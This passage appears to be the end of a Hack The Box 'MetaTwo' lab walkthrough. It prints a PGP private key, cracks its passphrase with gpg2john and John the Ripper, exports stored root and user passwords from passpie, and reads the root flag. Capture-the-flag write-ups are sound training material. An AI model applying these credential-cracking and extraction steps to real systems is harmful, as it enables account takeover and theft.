dN3wrzjU3qmrL41fo6KI+w2uXLaw+bIT1XZurDN42=dqsF43-----END PGP PUBLIC KEY BLOCK-----44-----BEGIN PGP PRIVATE KEY BLOCK-----45
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7Uo688-----END PGP PRIVATE KEY BLOCK-----
We put the private key in a file on our machine to try and crack it.

Convert it to a john the ripper format:
1gpg2john hash > hash.john
Then run john
to crack it.
1┌──(dan㉿kali)-[~/HTB/metatwo]2└─$ john -w=/usr/share/wordlists/rockyou.txt hash.john3Using default input encoding: UTF-84Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])5Cost 1 (s2k-count) is 65011712 for all loaded hashes6Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes7Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes8Will run 12 OpenMP threads9Press 'q' or Ctrl-C to abort, almost any other key for status10blink182 (Passpie)111g 0:00:00:00 DONE (2022-12-15 23:04) 1.639g/s 275.4p/s 275.4c/s 275.4C/s dolphin..98765412Use the "--show" option to display all of the cracked passwords reliably13Session completed.
We get our password: blink182
Exporting Root Credentials and Root Flag
With this password, I exported the root credentials from passpie
. We are able to confirm the root user’s password as p7qfAZt4_A1xo_0x
.
Upon successful authentication as root, I found the final flag.
1jnelson@meta2:~$ cat newroot.pass2-----BEGIN PGP MESSAGE-----3 hQEOA6I+wl+LXYMaEAP/T8AlYP9z05SEST+Wjz7+IB92uDPM1RktAsVoBtd3jhr24 nAfK00HJ/hMzSrm4hDd8JyoLZsEGYphvuKBfLUFSxFY2rjW0R3ggZoaI1lwiy/Km5 yG2DF3W+jy8qdzqhIK/15zX5RUOA5MGmRjuxdco/0xWvmfzwRq9HgDxOJ7q1J2ED6 /2GI+i+Gl+Hp4LKHLv5mMmH5TZyKbgbOL6TtKfwyxRcZk8K2xl96c3ZGknZ4a0Gf7 iMuXooTuFeyHd9aRnNHRV9AQB2Vlg8agp3tbUV+8y7szGHkEqFghOU18TeEDfdRg8 krndoGVhaMNm1OFek5i1bSsET/L4p4yqIwNODldTh7iB0ksB/8PHPURMNuGqmeKw9 mboS7xLImNIVyRLwV80T0HQ+LegRXn1jNnx6XIjOZRo08kiqzV2NaGGlpOlNr3Sr10 lpF0RatbxQGWBks5F3o=11 =uh1B12 -----END PGP MESSAGE-----
1jnelson@meta2:~$ passpie export newroot.pass2Passphrase:3jnelson@meta2:~$ cat newroot.pass4credentials:5- comment: ''6 fullname: root@ssh7 login: root8 modified: 2022-06-26 08:58:15.6215729 name: ssh10 password: !!python/unicode 'p7qfAZt4_A1xo_0x'11- comment: ''12 fullname: jnelson@ssh13 login: jnelson14 modified: 2022-06-26 08:58:15.51442215 name: ssh16 password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'17handler: passpie18version: 1.0
1jnelson@meta2:~$ su root2Password:3root@meta2:/home/jnelson# id4uid=0(root) gid=0(root) groups=0(root)5root@meta2:/home/jnelson# cd ~6root@meta2:~# ls7restore root.txt8root@meta2:~# cat root.txt95acf19dabe402006c6744912d180b243
and we’ve got our final flag 5acf19dabe402006c6744912d180b243
.
This blog post is part of a series on practical approaches to cybersecurity. Stay tuned for more updates and insights into the fascinating world of ethical hacking and cybersecurity best practices.
Stay safe, and happy hacking!
Note: This blog is for educational purposes only. Attempting unauthorised penetration testing is illegal and punishable by law. Always get explicit permission before performing any penetration testing.